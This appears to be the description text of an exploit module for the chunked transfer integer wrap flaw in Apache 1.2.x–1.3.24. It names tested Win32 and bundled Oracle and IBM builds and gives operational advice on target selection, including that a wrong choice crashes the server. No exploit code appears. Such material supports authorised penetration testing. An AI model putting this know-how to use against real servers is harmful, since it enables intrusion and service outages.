					This module exploits the chunked transfer integer wrap
				vulnerability in Apache version 1.2.x to 1.3.24. This
				particular module has been tested with all versions of the
				official Win32 build between 1.3.9 and 1.3.24. Additionally,
				it should work against most co-branded and bundled versions
				of Apache (Oracle 8i, 9i, IBM HTTPD, etc).

				You will need to use the Check() functionality to determine
				the exact target version prior to launching the exploit. The
				version of Apache bundled with Oracle 8.1.7 will not
				automatically restart, so if you use the wrong target value,
				the server will crash.
